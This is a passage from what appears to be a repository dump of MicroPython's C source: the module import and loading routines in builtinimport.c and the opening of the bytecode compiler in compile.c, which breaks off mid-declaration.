    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/compile.h\"\n#include \"py/objmodule.h\"\n#include \"py/persistentcode.h\"\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/frozenmod.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\n#define PATH_SEP_CHAR '/'\n\nbool mp_obj_is_package(mp_obj_t module) {\n    mp_obj_t dest[2];\n    mp_load_method_maybe(module, MP_QSTR___path__, dest);\n    return dest[0] != MP_OBJ_NULL;\n}\n\n// Stat either frozen or normal module by a given path\n// (whatever is available, if at all).\nSTATIC mp_import_stat_t mp_import_stat_any(const char *path) {\n    #if MICROPY_MODULE_FROZEN\n    mp_import_stat_t st = mp_frozen_stat(path);\n    if (st != MP_IMPORT_STAT_NO_EXIST) {\n        return st;\n    }\n    #endif\n    return mp_import_stat(path);\n}\n\nSTATIC mp_import_stat_t stat_file_py_or_mpy(vstr_t *path) {\n    mp_import_stat_t stat = mp_import_stat_any(vstr_null_terminated_str(path));\n    if (stat == MP_IMPORT_STAT_FILE) {\n        return stat;\n    }\n\n    #if MICROPY_PERSISTENT_CODE_LOAD\n    vstr_ins_byte(path, path->len - 2, 'm');\n    stat = mp_import_stat_any(vstr_null_terminated_str(path));\n    if (stat == MP_IMPORT_STAT_FILE) {\n        return stat;\n    }\n    #endif\n\n    return MP_IMPORT_STAT_NO_EXIST;\n}\n\nSTATIC mp_import_stat_t stat_dir_or_file(vstr_t *path) {\n    mp_import_stat_t stat = mp_import_stat_any(vstr_null_terminated_str(path));\n    DEBUG_printf(\"stat %s: %d\\n\", vstr_str(path), stat);\n    if (stat == MP_IMPORT_STAT_DIR) {\n        return stat;\n    }\n\n    // not a directory, add .py and try as a file\n    vstr_add_str(path, \".py\");\n    return stat_file_py_or_mpy(path);\n}\n\nSTATIC mp_import_stat_t find_file(const char *file_str, uint file_len, vstr_t *dest) {\n#if MICROPY_PY_SYS\n    // extract the list of paths\n    size_t path_num = 0;\n    mp_obj_t *path_items = NULL;\n\n    if (path_num == 0) {\n#endif\n        // mp_sys_path is empty, so just use the given file name\n        vstr_add_strn(dest, file_str, file_len);\n        return stat_dir_or_file(dest);\n#if MICROPY_PY_SYS\n    } else {\n        // go through each path looking for a directory or file\n        for (size_t i = 0; i < path_num; i++) {\n            vstr_reset(dest);\n            size_t p_len;\n            const char *p = mp_obj_str_get_data(path_items[i], &p_len);\n            if (p_len > 0) {\n                vstr_add_strn(dest, p, p_len);\n                vstr_add_char(dest, PATH_SEP_CHAR);\n            }\n            vstr_add_strn(dest, file_str, file_len);\n            mp_import_stat_t stat = stat_dir_or_file(dest);\n            if (stat != MP_IMPORT_STAT_NO_EXIST) {\n                return stat;\n            }\n        }\n\n        // could not find a directory or file\n        return MP_IMPORT_STAT_NO_EXIST;\n    }\n#endif\n}\n\n#if MICROPY_ENABLE_COMPILER\nSTATIC void do_load_from_lexer(mp_obj_t module_obj, mp_lexer_t *lex) {\n    #if MICROPY_PY___FILE__\n    qstr source_name = lex->source_name;\n    mp_store_attr(module_obj, MP_QSTR___file__, MP_OBJ_NEW_QSTR(source_name));\n    #endif\n\n    // parse, compile and execute the module in its context\n    mp_obj_dict_t *mod_globals = mp_obj_module_get_globals(module_obj);\n    mp_parse_compile_execute(lex, MP_PARSE_FILE_INPUT, mod_globals, mod_globals);\n}\n#endif\n\n#if MICROPY_PERSISTENT_CODE_LOAD || MICROPY_MODULE_FROZEN_MPY\nSTATIC void do_execute_raw_code(mp_obj_t module_obj, mp_raw_code_t *raw_code) {\n    #if MICROPY_PY___FILE__\n    // TODO\n    //qstr source_name = lex->source_name;\n    //mp_store_attr(module_obj, MP_QSTR___file__, MP_OBJ_NEW_QSTR(source_name));\n    #endif\n\n    // execute the module in its context\n    mp_obj_dict_t *mod_globals = mp_obj_module_get_globals(module_obj);\n\n    // save context\n    mp_obj_dict_t *volatile old_globals = mp_globals_get();\n    mp_obj_dict_t *volatile old_locals = mp_locals_get();\n\n    // set new context\n    mp_globals_set(mod_globals);\n    mp_locals_set(mod_globals);\n\n    nlr_buf_t nlr;\n    if (nlr_push(&nlr) == 0) {\n        mp_obj_t module_fun = mp_make_function_from_raw_code(raw_code, MP_OBJ_NULL, MP_OBJ_NULL);\n        mp_call_function_0(module_fun);\n\n        // finish nlr block, restore context\n        nlr_pop();\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n    } else {\n        // exception; restore context and re-raise same exception\n        mp_globals_set(old_globals);\n        mp_locals_set(old_locals);\n        nlr_jump(nlr.ret_val);\n    }\n}\n#endif\n\nSTATIC void do_load(mp_obj_t module_obj, vstr_t *file) {\n    #if MICROPY_MODULE_FROZEN || MICROPY_PERSISTENT_CODE_LOAD || MICROPY_ENABLE_COMPILER\n    char *file_str = vstr_null_terminated_str(file);\n    #endif\n\n    // If we support frozen modules (either as str or mpy) then try to find the\n    // requested filename in the list of frozen module filenames.\n    #if MICROPY_MODULE_FROZEN\n    void *modref;\n    int frozen_type = mp_find_frozen_module(file_str, file->len, &modref);\n    #endif\n\n    // If we support frozen str modules and the compiler is enabled, and we\n    // found the filename in the list of frozen files, then load and execute it.\n    #if MICROPY_MODULE_FROZEN_STR\n    if (frozen_type == MP_FROZEN_STR) {\n        do_load_from_lexer(module_obj, modref);\n        return;\n    }\n    #endif\n\n    // If we support frozen mpy modules and we found a corresponding file (and\n    // its data) in the list of frozen files, execute it.\n    #if MICROPY_MODULE_FROZEN_MPY\n    if (frozen_type == MP_FROZEN_MPY) {\n        do_execute_raw_code(module_obj, modref);\n        return;\n    }\n    #endif\n\n    // If we support loading .mpy files then check if the file extension is of\n    // the correct format and, if so, load and execute the file.\n    #if MICROPY_PERSISTENT_CODE_LOAD\n    if (file_str[file->len - 3] == 'm') {\n        mp_raw_code_t *raw_code = mp_raw_code_load_file(file_str);\n        do_execute_raw_code(module_obj, raw_code);\n        return;\n    }\n    #endif\n\n    // If we can compile scripts then load the file and compile and execute it.\n    #if MICROPY_ENABLE_COMPILER\n    {\n        mp_lexer_t *lex = mp_lexer_new_from_file(file_str);\n        do_load_from_lexer(module_obj, lex);\n        return;\n    }\n    #else\n\n    // If we get here then the file was not frozen and we can't compile scripts.\n    mp_raise_msg(&mp_type_ImportError, \"script compilation not supported\");\n    #endif\n}\n\nSTATIC void chop_component(const char *start, const char **end) {\n    const char *p = *end;\n    while (p > start) {\n        if (*--p == '.') {\n            *end = p;\n            return;\n        }\n    }\n    *end = p;\n}\n\nmp_obj_t mp_builtin___import__(size_t n_args, const mp_obj_t *args) {\n#if DEBUG_PRINT\n    DEBUG_printf(\"__import__:\\n\");\n    for (size_t i = 0; i < n_args; i++) {\n        DEBUG_printf(\"  \");\n        mp_obj_print(args[i], PRINT_REPR);\n        DEBUG_printf(\"\\n\");\n    }\n#endif\n\n    mp_obj_t module_name = args[0];\n    mp_obj_t fromtuple = mp_const_none;\n    mp_int_t level = 0;\n    if (n_args >= 4) {\n        fromtuple = args[3];\n        if (n_args >= 5) {\n            level = MP_OBJ_SMALL_INT_VALUE(args[4]);\n            if (level < 0) {\n                mp_raise_ValueError(NULL);\n            }\n        }\n    }\n\n    size_t mod_len;\n    const char *mod_str = mp_obj_str_get_data(module_name, &mod_len);\n\n    if (level != 0) {\n        // What we want to do here is to take name of current module,\n        // chop <level> trailing components, and concatenate with passed-in\n        // module name, thus resolving relative import name into absolute.\n        // This even appears to be correct per\n        // http://legacy.python.org/dev/peps/pep-0328/#relative-imports-and-name\n        // \"Relative imports use a module's __name__ attribute to determine that\n        // module's position in the package hierarchy.\"\n        level--;\n        mp_obj_t this_name_q = mp_obj_dict_get(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(MP_QSTR___name__));\n        assert(this_name_q != MP_OBJ_NULL);\n        #if MICROPY_CPYTHON_COMPAT\n        if (MP_OBJ_QSTR_VALUE(this_name_q) == MP_QSTR___main__) {\n            // This is a module run by -m command-line switch, get its real name from backup attribute\n            this_name_q = mp_obj_dict_get(MP_OBJ_FROM_PTR(mp_globals_get()), MP_OBJ_NEW_QSTR(MP_QSTR___main__));\n        }\n        #endif\n        mp_map_t *globals_map = &mp_globals_get()->map;\n        mp_map_elem_t *elem = mp_map_lookup(globals_map, MP_OBJ_NEW_QSTR(MP_QSTR___path__), MP_MAP_LOOKUP);\n        bool is_pkg = (elem != NULL);\n\n#if DEBUG_PRINT\n        DEBUG_printf(\"Current module/package: \");\n        mp_obj_print(this_name_q, PRINT_REPR);\n        DEBUG_printf(\", is_package: %d\", is_pkg);\n        DEBUG_printf(\"\\n\");\n#endif\n\n        size_t this_name_l;\n        const char *this_name = mp_obj_str_get_data(this_name_q, &this_name_l);\n\n        const char *p = this_name + this_name_l;\n        if (!is_pkg) {\n            // We have module, but relative imports are anchored at package, so\n            // go there.\n            chop_component(this_name, &p);\n        }\n\n        while (level--) {\n            chop_component(this_name, &p);\n        }\n\n        // We must have some component left over to import from\n        if (p == this_name) {\n            mp_raise_ValueError(\"cannot perform relative import\");\n        }\n\n        uint new_mod_l = (mod_len == 0 ? (size_t)(p - this_name) : (size_t)(p - this_name) + 1 + mod_len);\n        char *new_mod = alloca(new_mod_l);\n        memcpy(new_mod, this_name, p - this_name);\n        if (mod_len != 0) {\n            new_mod[p - this_name] = '.';\n            memcpy(new_mod + (p - this_name) + 1, mod_str, mod_len);\n        }\n\n        qstr new_mod_q = qstr_from_strn(new_mod, new_mod_l);\n        DEBUG_printf(\"Resolved base name for relative import: '%s'\\n\", qstr_str(new_mod_q));\n        module_name = MP_OBJ_NEW_QSTR(new_mod_q);\n        mod_str = new_mod;\n        mod_len = new_mod_l;\n    }\n\n    // check if module already exists\n    qstr module_name_qstr = mp_obj_str_get_qstr(module_name);\n    mp_obj_t module_obj = mp_module_get(module_name_qstr);\n    if (module_obj != MP_OBJ_NULL) {\n        DEBUG_printf(\"Module already loaded\\n\");\n        // If it's not a package, return module right away\n        char *p = strchr(mod_str, '.');\n        if (p == NULL) {\n            return module_obj;\n        }\n        // If fromlist is not empty, return leaf module\n        if (fromtuple != mp_const_none) {\n            return module_obj;\n        }\n        // Otherwise, we need to return top-level package\n        qstr pkg_name = qstr_from_strn(mod_str, p - mod_str);\n        return mp_module_get(pkg_name);\n    }\n    DEBUG_printf(\"Module not yet loaded\\n\");\n\n    uint last = 0;\n    VSTR_FIXED(path, MICROPY_ALLOC_PATH_MAX)\n    module_obj = MP_OBJ_NULL;\n    mp_obj_t top_module_obj = MP_OBJ_NULL;\n    mp_obj_t outer_module_obj = MP_OBJ_NULL;\n    uint i;\n    for (i = 1; i <= mod_len; i++) {\n        if (i == mod_len || mod_str[i] == '.') {\n            // create a qstr for the module name up to this depth\n            qstr mod_name = qstr_from_strn(mod_str, i);\n            DEBUG_printf(\"Processing module: %s\\n\", qstr_str(mod_name));\n            DEBUG_printf(\"Previous path: =%.*s=\\n\", vstr_len(&path), vstr_str(&path));\n\n            // find the file corresponding to the module name\n            mp_import_stat_t stat;\n            if (vstr_len(&path) == 0) {\n                // first module in the dotted-name; search for a directory or file\n                stat = find_file(mod_str, i, &path);\n            } else {\n                // latter module in the dotted-name; append to path\n                vstr_add_char(&path, PATH_SEP_CHAR);\n                vstr_add_strn(&path, mod_str + last, i - last);\n                stat = stat_dir_or_file(&path);\n            }\n            DEBUG_printf(\"Current path: %.*s\\n\", vstr_len(&path), vstr_str(&path));\n\n            if (stat == MP_IMPORT_STAT_NO_EXIST) {\n                #if MICROPY_MODULE_WEAK_LINKS\n                // check if there is a weak link to this module\n                if (i == mod_len) {\n                    mp_map_elem_t *el = mp_map_lookup((mp_map_t*)&mp_builtin_module_weak_links_map, MP_OBJ_NEW_QSTR(mod_name), MP_MAP_LOOKUP);\n                    if (el == NULL) {\n                        goto no_exist;\n                    }\n                    // found weak linked module\n                    module_obj = el->value;\n                } else {\n                    no_exist:\n                #else\n                {\n                #endif\n                    // couldn't find the file, so fail\n                    if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                        mp_raise_msg(&mp_type_ImportError, \"module not found\");\n                    } else {\n                        nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ImportError,\n                            \"no module named '%q'\", mod_name));\n                    }\n                }\n            } else {\n                // found the file, so get the module\n                module_obj = mp_module_get(mod_name);\n            }\n\n            if (module_obj == MP_OBJ_NULL) {\n                // module not already loaded, so load it!\n\n                module_obj = mp_obj_new_module(mod_name);\n\n                // if args[3] (fromtuple) has magic value False, set up\n                // this module for command-line \"-m\" option (set module's\n                // name to __main__ instead of real name). Do this only\n                // for *modules* however - packages never have their names\n                // replaced, instead they're -m'ed using a special __main__\n                // submodule in them. (This all apparently is done to not\n                // touch package name itself, which is important for future\n                // imports).\n                if (i == mod_len && fromtuple == mp_const_false && stat != MP_IMPORT_STAT_DIR) {\n                    mp_obj_module_t *o = MP_OBJ_TO_PTR(module_obj);\n                    mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR___main__));\n                    #if MICROPY_CPYTHON_COMPAT\n                    // Store module as \"__main__\" in the dictionary of loaded modules (returned by sys.modules).\n                    mp_obj_dict_store(MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_loaded_modules_dict)), MP_OBJ_NEW_QSTR(MP_QSTR___main__), module_obj);\n                    // Store real name in \"__main__\" attribute. Chosen semi-randonly, to reuse existing qstr's.\n                    mp_obj_dict_store(MP_OBJ_FROM_PTR(o->globals), MP_OBJ_NEW_QSTR(MP_QSTR___main__), MP_OBJ_NEW_QSTR(mod_name));\n                    #endif\n                }\n\n                if (stat == MP_IMPORT_STAT_DIR) {\n                    DEBUG_printf(\"%.*s is dir\\n\", vstr_len(&path), vstr_str(&path));\n                    // https://docs.python.org/3/reference/import.html\n                    // \"Specifically, any module that contains a __path__ attribute is considered a package.\"\n                    mp_store_attr(module_obj, MP_QSTR___path__, mp_obj_new_str(vstr_str(&path), vstr_len(&path), false));\n                    size_t orig_path_len = path.len;\n                    vstr_add_char(&path, PATH_SEP_CHAR);\n                    vstr_add_str(&path, \"__init__.py\");\n                    if (stat_file_py_or_mpy(&path) != MP_IMPORT_STAT_FILE) {\n                        //mp_warning(\"%s is imported as namespace package\", vstr_str(&path));\n                    } else {\n                        do_load(module_obj, &path);\n                    }\n                    path.len = orig_path_len;\n                } else { // MP_IMPORT_STAT_FILE\n                    do_load(module_obj, &path);\n                    // This should be the last component in the import path.  If there are\n                    // remaining components then it's an ImportError because the current path\n                    // (the module that was just loaded) is not a package.  This will be caught\n                    // on the next iteration because the file will not exist.\n                }\n            }\n            if (outer_module_obj != MP_OBJ_NULL) {\n                qstr s = qstr_from_strn(mod_str + last, i - last);\n                mp_store_attr(outer_module_obj, s, module_obj);\n            }\n            outer_module_obj = module_obj;\n            if (top_module_obj == MP_OBJ_NULL) {\n                top_module_obj = module_obj;\n            }\n            last = i + 1;\n        }\n    }\n\n    // If fromlist is not empty, return leaf module\n    if (fromtuple != mp_const_none) {\n        return module_obj;\n    }\n    // Otherwise, we need to return top-level package\n    return top_module_obj;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin___import___obj, 1, 5, mp_builtin___import__);\n"
  },
  {
    "path": "micropython/source/py/compile.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/scope.h\"\n#include \"py/emit.h\"\n#include \"py/compile.h\"\n#include \"py/runtime.h\"\n#include \"py/asmbase.h\"\n\n#if MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER\n\n// TODO need to mangle __attr names\n\n#define INVALID_LABEL (0xffff)\n\ntypedef enum {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) PN_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    PN_const_object, // special node for a constant, generic Python object\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) PN_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n} pn_kind_t;\n\n#define NEED_METHOD_TABLE MICROPY_EMIT_NATIVE\n\n#if NEED_METHOD_TABLE\n\n// we need a method table to do the lookup for the emitter functions\n#define EMIT(fun) (comp->emit_method_table->fun(comp->emit))\n#define EMIT_ARG(fun, ...) (comp->emit_method_table->fun(comp->emit, __VA_ARGS__))\n#define EMIT_LOAD_FAST(qst, local_num) (comp->emit_method_table->load_id.fast(comp->emit, qst, local_num))\n#define EMIT_LOAD_GLOBAL(qst) (comp->emit_method_table->load_id.global(comp->emit, qst))\n\n#else\n\n// if we only have the bytecode emitter enabled then we can do a direct call to the functions\n#define EMIT(fun) (mp_emit_bc_##fun(comp->emit))\n#define EMIT_ARG(fun, ...) (mp_emit_bc_##fun(comp->emit, __VA_ARGS__))\n#define EMIT_LOAD_FAST(qst, local_num) (mp_emit_bc_load_fast(comp->emit, qst, local_num))\n#define EMIT_LOAD_GLOBAL(qst) (mp_emit_bc_load_global(comp->emit, qst))\n\n#endif\n\n#if MICROPY_EMIT_NATIVE\n// define a macro to access external native emitter\n#if MICROPY_EMIT_X64\n#define NATIVE_EMITTER(f) emit_native_x64_##f\n#elif MICROPY_EMIT_X86\n#define NATIVE_EMITTER(f) emit_native_x86_##f\n#elif MICROPY_EMIT_THUMB\n#define NATIVE_EMITTER(f) emit_native_thumb_##f\n#elif MICROPY_EMIT_ARM\n#define NATIVE_EMITTER(f) emit_native_arm_##f\n#elif MICROPY_EMIT_XTENSA\n#define NATIVE_EMITTER(f) emit_native_xtensa_##f\n#else\n#error \"unknown native emitter\"\n#endif\n#endif\n\n#if MICROPY_EMIT_INLINE_ASM\n// define macros for inline assembler\n#if MICROPY_EMIT_INLINE_THUMB\n#define ASM_DECORATOR_QSTR MP_QSTR_asm_thumb\n#define ASM_EMITTER(f) emit_inline_thumb_##f\n#elif MICROPY_EMIT_INLINE_XTENSA\n#define ASM_DECORATOR_QSTR MP_QSTR_asm_xtensa\n#define ASM_EMITTER(f) emit_inline_xtensa_##f\n#else\n#error \"unknown asm emitter\"\n#endif\n#endif\n\n#define EMIT_INLINE_ASM(fun) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm))\n#define EMIT_INLINE_ASM_ARG(fun, ...) (comp->emit_inline_asm_method_table->fun(comp->emit_inline_asm, __VA_ARGS__))\n\n// elements in this struct are ordered to make it compact\ntypedef struct _compiler_t {\n    qstr source_file;\n\n    uint8_t is_repl;\n    uint8_t pass; // holds enum type pass_kind_t\n    uint8_t have_star;\n\n    // try to keep compiler clean from nlr\n    mp_obj_t compile_error; // set to an exception object if there's an error\n    size_t compile_error_line; // set to best guess of line of error\n\n    uint next_label;\n\n    uint16_t num_dict_params;\n    uint16_t num_default_params;\n\n    uint16_t break_label; // highest bit set indicates we are breaking out of a for loop\n    uint16_t continue_label;\n    uint16_t cur_except_level; // increased for SETUP_EXCEPT, SETUP_FINALLY; decreased for POP_BLOCK, POP_EXCEPT\n    uint16_t break_continue_except_level;\n\n    scope_t *scope_head;\n    scope_t *scope_cur;\n\n    emit_t *emit;                                   // current emitter\n    #if NEED_METHOD_TABLE\n    const emit_method_table_t *emit_method_table;   // current emit method table\n    #endif\n\n    #if MICROPY_EMIT_INLINE_ASM\n    emit_inline_asm_t *emit_inline_asm;                                   // current emitter for inline asm\n    const emit_inline_asm_method_table_t *emit_inline_asm_method_table;   // current emit method table for inline asm\n    #endif\n} compiler_t;\n\nSTATIC void compile_error_set_line(compiler_t *comp, mp_parse_node_t pn) {\n    // if the line of the error is unknown then try to update it from the pn\n    if (comp->compile_error_line == 0 && MP_PARSE_NODE_IS_STRUCT(pn)) {\n        comp->compile_error_line = ((mp_parse_node_struct_t*)pn)->source_line;\n    }\n}\n\nSTATIC void compile_syntax_error(compiler_t *comp, mp_parse_node_t pn, const char *msg) {\n    // only register the error if there has been no other error\n    if (comp->compile_error == MP_OBJ_NULL) {\n        comp->compile_error = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg);\n        compile_error_set_line(comp, pn);\n    }\n}\n\nSTATIC void compile_trailer_paren_helper(compiler_t *comp, mp_parse_node_t pn_arglist, bool is_method_call, int n_positional_extra);\nSTATIC void compile_comprehension(compiler_t *comp, mp_parse_node_struct_t *pns, scope_kind_t kind);\nSTATIC void compile_node(compiler_t *comp, mp_parse_node_t pn);\n\nSTATIC uint comp_next_label(compiler_t *comp) {\n    return comp->next_label++;\n}\n\nSTATIC void compile_increase_except_level(compiler_t *comp) {\n    comp->cur_except_level += 1;\n    if (comp->cur_except_level > comp->scope_cur->exc_stack_size) {\n        comp->scope_cur->exc_stack_size = comp->cur_except_level;\n    }\n}\n\nSTATIC void compile_decrease_except_level(compiler_t *comp) {\n    assert(comp->cur_except_level > 0);\n    comp->cur_except_level -= 1;\n}\n\nSTATIC scope_t *scope_new_and_link(compiler_t *comp, scope_kind_t kind, mp_parse_node_t pn, uint emit_options) {\n    scope_t *scope = scope_new(kind, pn, comp->source_file, emit_options);\n    scope->parent = comp->scope_cur;\n    scope->next = NULL;\n    if (comp->scope_head == NULL) {\n        comp->scope_head = scope;\n    } else {\n        scope_t *s = comp->scope_head;\n        while (s->next != NULL) {\n            s = s->next;\n        }\n        s->next = scope;\n    }\n    return scope;\n}\n\ntypedef void (*apply_list_fun_t)(compiler_t *comp, mp_parse_node_t pn);\n\nSTATIC void apply_to_single_or_list(compiler_t *comp, mp_parse_node_t pn, pn_kind_t pn_list_kind, apply_list_fun_t f) {\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, pn_list_kind)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n        for (int i = 0; i < num_nodes; i++) {\n            f(comp, pns->nodes[i]);\n        }\n    } else if (!MP_PARSE_NODE_IS_NULL(pn)) {\n        f(comp, pn);\n    }\n}\n\nSTATIC void compile_generic_all_nodes(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n    for (int i = 0; i < num_nodes; i++) {\n        compile_node(comp, pns->nodes[i]);\n        if (comp->compile_error != MP_OBJ_NULL) {\n            // add line info for the error in case it didn't have a line number\n            compile_error_set_line(comp, pns->nodes[i]);\n            return;\n        }\n    }\n}\n\nSTATIC void compile_load_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_load(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->load_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_load_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void compile_store_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_modification(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->store_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_store_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void compile_delete_id(compiler_t *comp, qstr qst) {\n    if (comp->pass == MP_PASS_SCOPE) {\n        mp_emit_common_get_id_for_modification(comp->scope_cur, qst);\n    } else {\n        #if NEED_METHOD_TABLE\n        mp_emit_common_id_op(comp->emit, &comp->emit_method_table->delete_id, comp->scope_cur, qst);\n        #else\n        mp_emit_common_id_op(comp->emit, &mp_emit_bc_method_table_delete_id_ops, comp->scope_cur, qst);\n        #endif\n    }\n}\n\nSTATIC void c_tuple(compiler_t *comp, mp_parse_node_t pn, mp_parse_node_struct_t *pns_list) {\n    int total = 0;\n    if (!MP_PARSE_NODE_IS_NULL(pn)) {\n        compile_node(comp, pn);\n        total += 1;\n    }\n    if (pns_list != NULL) {\n        int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns_list);\n        for (int i = 0; i < n; i++) {\n            compile_node(comp, pns_list->nodes[i]);\n        }\n        total += n;\n    }\n    EMIT_ARG(build_tuple, total);\n}\n\nSTATIC void compile_generic_tuple(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // a simple tuple expression\n    c_tuple(comp, MP_PARSE_NODE_NULL, pns);\n}\n\nSTATIC void c_if_cond(compiler_t *comp, mp_parse_node_t pn, bool jump_if, int label) {\n    if (mp_parse_node_is_const_false(pn)) {\n        if (jump_if == false) {\n            EMIT_ARG(jump, label);\n        }\n        return;\n    } else if (mp_parse_node_is_const_true(pn)) {\n        if (jump_if == true) {\n            EMIT_ARG(jump, label);\n        }\n        return;\n    } else if (MP_PARSE_NODE_IS_STRUCT(pn)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_or_test) {\n            if (jump_if == false) {\n            and_or_logic1:;\n                uint label2 = comp_next_label(comp);\n                for (int i = 0; i < n - 1; i++) {\n                    c_if_cond(comp, pns->nodes[i], !jump_if, label2);\n                }\n                c_if_cond(comp, pns->nodes[n - 1], jump_if, label);\n                EMIT_ARG(label_assign, label2);\n            } else {\n            and_or_logic2:\n                for (int i = 0; i < n; i++) {\n                    c_if_cond(comp, pns->nodes[i], jump_if, label);\n                }\n            }\n            return;\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_and_test) {\n            if (jump_if == false) {\n                goto and_or_logic2;\n            } else {\n                goto and_or_logic1;\n            }\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_not_test_2) {\n            c_if_cond(comp, pns->nodes[0], !jump_if, label);\n            return;\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_atom_paren) {\n            // cond is something in parenthesis\n            if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n                // empty tuple, acts as false for the condition\n                if (jump_if == false) {\n                    EMIT_ARG(jump, label);\n                }\n            } else {\n                assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp));\n                // non-empty tuple, acts as true for the condition\n                if (jump_if == true) {\n                    EMIT_ARG(jump, label);\n                }\n            }\n            return;\n        }\n    }\n\n    // nothing special, fall back to default compiling for node and jump\n    compile_node(comp, pn);\n    EMIT_ARG(pop_jump_if, jump_if, label);\n}\n\ntypedef enum { ASSIGN_STORE, ASSIGN_AUG_LOAD, ASSIGN_AUG_STORE } assign_kind_t;\nSTATIC void c_assign(compiler_t *comp, mp_parse_node_t pn, assign_kind_t kind);\n\nSTATIC void c_assign_atom_expr(compiler_t 